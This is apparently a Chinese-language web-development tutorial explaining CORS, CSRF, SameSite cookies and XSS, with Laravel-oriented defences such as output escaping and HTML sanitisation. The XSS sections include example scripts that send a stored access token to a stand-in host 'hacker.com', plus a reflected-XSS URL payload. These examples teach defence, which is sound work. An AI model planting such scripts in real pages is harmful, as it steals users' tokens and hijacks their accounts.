# Lesson 13: 前後端分離的痛-CORS 跨域問題、 CSRF 防護機制與XSS跨腳本攻擊

前後端分離是近幾年非常熱門的架構概念，其實早在十多年前就已被提出。 在早期的實務中，前後端分離常搭配 SPA 與 CSR（Client-Side Rendering）實作，但在當時的搜尋引擎環境下，CSR 對 SEO 並不友善。

原因在於 CSR 的頁面在初始請求時只回傳空的 HTML 殼，實際內容與 meta 資訊需等 JavaScript 在瀏覽器端執行後才生成；而以前搜尋引擎爬蟲並不會執行 JavaScript（現在[google有針對爬蟲做出調整](https://developers.google.com/search/docs/crawling-indexing/javascript/javascript-seo-basics?hl=zh-tw)，但執行時機、資源配額與錯誤容忍度仍不保證即時與完整），導致頁面內容無法被正確索引。

為了解決這個問題，SSR（Server-Side Rendering）或預渲染逐漸成為主流做法，透過在 Server 端直接產生完整 HTML，使搜尋引擎在第一次請求時就能取得頁面內容與 SEO 相關資訊。

雖然後來有了 SSR（Server-Side Rendering）與 Nuxt/Next.js 等解決方案，但在架構上，前端（Frontend）與後端（Backend）部署在不同網域（Domain）已成常態。

這時候，後端工程師會發現：明明 Postman 測都沒問題，為什麼前端一呼叫 API 就全紅字？

這是因為 Postman 不受瀏覽器同源政策限制，真正受到 CORS 約束的，只有瀏覽器本身。

這就是我們今天要解決的兩大門神：CORS 與 CSRF。

# 同源政策

在講 CORS 之前，必須先理解「同源政策」。

* 什麼是「同源」？ 協議（Protocol）、網域（Domain）、埠號（Port）三者皆相同。
    
    * `http://localhost:3000` (前端) vs `http://localhost:8000` (後端) -&gt; 不同源 (Port 不同)
        
    * `https://api.example.com` vs `https://www.example.com` -&gt; 不同源 (Subdomain 不同)
        
* 為什麼要擋？ 為了防止惡意網站的 JavaScript 存取另一個來源的回應內容或敏感狀態。
    

# CORS

CORS (Cross-Origin Resource Sharing)：跨域資源共享

CORS 是一種機制，它允許瀏覽器向跨源伺服器，發出 `XMLHttpRequest` 或 `Fetch` 請求。簡單來說，就是**後端發放「通行證」給前端**。

### 重點觀念：

* 簡單請求 (Simple Request)： 不會觸發 Preflight。條件嚴格（只能是 GET/HEAD/POST，且 Header 有限制）。
    
* 預檢請求 (Preflight Request)： 這是新手最常困惑的「為什麼我的 API 被呼叫了兩次？」。
    
    * 當請求包含自定義 Header（如 `Authorization: Bearer ...`）或方法是 `PUT`、`DELETE` 時。
        
    * 瀏覽器會先發送一個 `OPTIONS` 方法的請求，詢問後端：「你允許我帶這些 Header 嗎？你允許這個 Domain 嗎？」
        
    * 後端回傳 HTTP 200 OK 且帶有允許的 Header 後，瀏覽器才會發送真正的 API 請求。
        

### 後端如何處理？

* 資安警語： 千萬不要為了方便在正式環境設定 `Access-Control-Allow-Origin: *`，這等於門戶大開。
    

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">瀏覽器 CORS 規範：如果今天前端攜帶 withCredentials: true，這代表 瀏覽器會 攜帶 Cookie或HTTP Authentication 或 TLS client certificate，如果這時候後端又回 Header又回Access-Control-Allow-Origin: *，這時候瀏覽器層級就會直接拒絕。</div>
</div>

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Laravel 內建 config/cors.php，只需設定 allowed_origins 和 allowed_methods。在實務中，若使用 Cookie-based Auth，還需特別注意 supports_credentials 與allowed_headers 的設定，否則即使 Origin 正確，仍可能在 Preflight 階段被瀏覽器拒絕。</div>
</div>

# CSRF

CORS 是為了防止「別人讀你的資料」，而 CSRF 是為了防止「別人用你的身份做事」。

CSRF 全名是 Cross-Site Request Forgery。

## 攻擊手法

1. 你還沒登出銀行，接著手滑點開了一個惡意網站 `evil.com`。
    
2. `evil.com` 的頁面裡藏了一段程式碼 (例如一個隱藏的 Form 表單)，自動向 `bank.com/transfer` (轉帳 API) 發送一個 POST 請求。
    
3. **關鍵時刻來了**：瀏覽器準備發送這個請求給 `bank.com`。
    
    * 瀏覽器檢查 Cookie 規則：這個請求的目標是 `bank.com` 嗎？ **是！**
        
    * 瀏覽器檢查 Domain 設定：Cookie 的 Domain 是 `bank.com` 嗎？ **是！**
        
4. **結果**：瀏覽器**乖乖地把 Session Cookie 帶上了**。
    
5. 銀行 Server 收到請求，看到合法的 Session ID，以為是你本人操作的，於是轉帳成功。錢被盜走了。
    

> 問題點：Domain 屬性只檢查「目標」是不是銀行，它不管你這個請求是從「銀行首頁」按的，還是從「惡意網站」按的。只要目標對，它就給過。

### 小結

在傳統 MVC 時代（例如 Laravel Blade），我們很習慣在表單裡加 `@csrf`。但在前後端分離的架構下，情況變複雜了：

* 如果你的 API 使用 `Authorization: Bearer <token>`：
    
    * 通常存在 LocalStorage / SessionStorage。
        
    * 結論： 在不使用 Cookie 的前提下，瀏覽器無法自動附帶 Token，因此不構成傳統意義上的 CSRF 攻擊面。因為瀏覽器不會自動把 LocalStorage 的東西帶進 Request Header，惡意網站拿不到你的 Token，也沒辦法讓瀏覽器幫你帶，但這也是會遇到XSS攻擊。
        
* 如果你的 API 使用 `Cookie` (HttpOnly) 來存 Token：
    
    * 很多為了防範 XSS 的架構會選擇把 Token 存在 HttpOnly Cookie。
        
    * 結論： 必須防禦 CSRF。因為這又回到了瀏覽器自動帶 Cookie 的老問題。
        

## 防範手法

### 傳統防禦：CSRF Token (Synchronizer Token Pattern)

這是 Laravel Blade 預設的作法。

1. 後端生成一個隨機字串（Token），放在 User 的 Session 中，並傳給前端（通常放在 `<meta>` 或 Cookie）。
    
2. 前端發送請求（POST/PUT/DELETE）時，必須手動在 Header 或 Body 帶上這個 Token。
    
3. 後端檢查：`Request 帶來的 Token` == `Session 裡的 Token`？
    
    * 惡意網站雖然能發送請求（帶 Cookie），但它**讀不到**你網站的 Token，所以偽造的請求會因為缺少 Token 被後端拒絕。
        

### B. 現代瀏覽器防禦：SameSite Cookie 屬性

還記得Lesson 9 提到的Cookie SameSite嗎？這是近年來最重要的更新，Google Chrome 預設已將 Cookie 的 SameSite 設為 `Lax`。這是在 Cookie 層級直接阻斷 CSRF。

| **屬性值** | **行為** | **適用場景** |
| --- | --- | --- |
| **Strict** | **完全禁止**跨站帶 Cookie。即使你從 A 站點擊連結到 B 站，B 站的 Cookie 也不會帶上。 | 銀行、極高安全性後台。但使用者體驗較差（點連結過去變成未登入）。 |
| **Lax** (預設) | 允許「導航到目標網址」（如 `<a>` 連結、`window.location`）帶 Cookie，但**禁止**像圖片加載、XHR/Fetch、Form POST 這種跨站請求帶 Cookie。 | 絕大多數的一般網站。能防禦大部分 CSRF。 |
| **None** | 舊時代行為，完全不擋。必須搭配 `Secure` (HTTPS) 才能設定。 | 需要跨網域追蹤或特殊架構（如 iframe 嵌入）時才用。 |

同樣的場景，但這次 Cookie 多了一個屬性：

* `session_id=12345`
    
* `Domain=bank.com`
    
* `SameSite=Strict` (代表只有「在銀行網站內」的操作才能帶 Cookie)
    

**攻擊流程：**

1. 你在 `evil.com`，惡意程式碼再次嘗試向 `bank.com/transfer` 發送請求。
    
2. **關鍵時刻來了**：
    
    * 瀏覽器檢查 Domain：目標是 `bank.com`，符合。
        
    * **瀏覽器檢查 SameSite**：這個請求是從哪裡發起的？是 `evil.com`。
        
    * 瀏覽器判斷：`evil.com` 跟 Cookie 的擁有者 `bank.com` **不同站 (Cross-Site)**。
        
3. **結果**：因為 `SameSite=Strict`，瀏覽器**拒絕攜帶**這個 Cookie。
    
4. 銀行 Server 收到一個「沒有 Cookie」的請求，判定未登入，拒絕轉帳。
    

---

* Cookie：是大樓的 「門禁卡」。
    
* Domain ([bank.com](http://bank.com))：這張卡設定成 「只能刷銀行大樓的門」 (去刷旁邊超商的門沒反應)。
    
* 沒有 SameSite：歹徒在路邊拿刀抵著你 (惡意網站)，強迫你去刷銀行大樓的門。因為卡片是對的、門也是對的，門就開了。歹徒得逞。
    
* 有 SameSite：門禁系統升級，它不只看卡片，還看 「你從哪裡走過來的」。如果系統發現你是從「歹徒巢穴 ([evil.com](http://evil.com))」直接衝過來刷卡的，系統就會鎖死不讓你刷。你必須是從「銀行大廳 (同站)」走過來的才有效
    

---

# 關於XSS

Cross-Site Scripting（為了不跟 CSS 搞混，所以縮寫叫 XSS）。 駭客把「惡意的 JavaScript 程式碼」當作「一般文字內容」塞進你的網頁，當其他使用者瀏覽該頁面時，這段程式碼就會在**使用者的瀏覽器上執行**。 這是「信任」的問題。瀏覽器太信任伺服器回傳的內容，以為那只是普通的文字，殊不知裡面藏了刀。

這是最容易理解的 儲存型 XSS (Stored XSS) 案例：

1. 駭客留言： 駭客在你的文章下留言，內容不是「好棒棒」，而是：HTML
    
    ```html
    <script>
      // 把使用者的 localstorage 傳送到駭客的伺服器
      fetch('<https://hacker.com/steal?token=>' + localStorage.getItem('access_token'));
    </script>
    ```
    
2. 後端儲存： 如果後端（Rookie 工程師）沒有做任何清洗，直接把這串字存進資料庫。
    
3. 受害者瀏覽： 當一般使用者（甚至管理者）打開這篇文章時，後端把資料庫的內容原封不動吐給前端顯示。
    
4. 腳本執行： 受害者的瀏覽器讀到 `<script>` 標籤，立刻執行。受害者的 身份資料 瞬間被傳送給駭客。
    
5. 帳號被盜： 駭客拿到 Session ID 或 Token，直接複製貼上，登入受害者帳號。
    

## XSS 的兩大分類

| **類型** | **儲存型 (Stored)** | **反射型 (Reflected)** |
| --- | --- | --- |
| **原理** | 惡意腳本被**存入資料庫**，永久有效。 | 惡意腳本藏在 **URL 參數**中，騙你點擊。 |
| **範例** | 留言板、個人自我介紹、論壇貼文。 | 搜尋結果頁：`search.php?q=<script>alert(1)</script>` |
| **危害** | **極大**。所有瀏覽該頁面的人都會中招。 | 針對性。只有點擊該惡意連結的人會中招。 |

## 後端如何防禦

### 輸出編碼 (Output Encoding / Escaping)

永遠假設資料庫裡的資料是髒的。在輸出到 HTML 之前，把特殊符號轉義。

* `<` 變成 `&lt;`
    
* `>` 變成 `&gt;`
    
* `"` 變成 `&quot;`
    

> **Laravel 的做法：**
> 
> * **安全：** 使用 `{{ $message }}`。Laravel 的 Blade 引擎會自動呼叫 `htmlspecialchars` 函式進行轉義。瀏覽器會把 `<script>` 當作純文字顯示，而不會執行。
>     
> * **危險：** 使用 `{!! $message !!}`。這告訴 Laravel：「我知道我在幹嘛，請直接輸出 HTML」。除非你確定內容絕對安全，否則**嚴禁使用**。
>     

### 輸入過濾 (Input Sanitization)

如果你真的允許使用者輸入 HTML（例如使用 CKEditor），你就不能全擋。這時需要用白名單機制過濾。

* **工具：** 使用如 HTMLPurifier 這樣的套件，只允許 `<b>`, `<p>`, `<img>` 等安全標籤，把 `<script>`, `<iframe>`, `onclick` 屬性全部洗掉。
    

# 補充

## Token 儲存位置的 - LocalStorage vs HttpOnly Cookie

### 核心觀念對照表

### 攻擊情境演練

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1765856594969/4efb4816-c69b-4470-b0ac-258c2dca649a.png align="center")

**情境 A：存在 LocalStorage (怕 XSS)**

* 攻擊方式： 駭客在你的網站留言版寫了一段 `<script>fetch('<http://hacker.com?token='+localStorage.getItem('token>'))</script>`。
    
* 結果： 當其他使用者瀏覽到這則留言，腳本執行，Token 直接被傳送到駭客伺服器。駭客拿到 Token 後，可以隨時隨地偽裝成該使用者，直到 Token 過期。
    

**情境 B：存在 HttpOnly Cookie (怕 CSRF)**

* 攻擊方式： 同樣的 XSS 攻擊腳本。
    
* 結果： 腳本執行 `document.cookie`，但因為有 `HttpOnly` 標籤，JavaScript 讀不到 Token，回傳空值。駭客偷不到 Token。
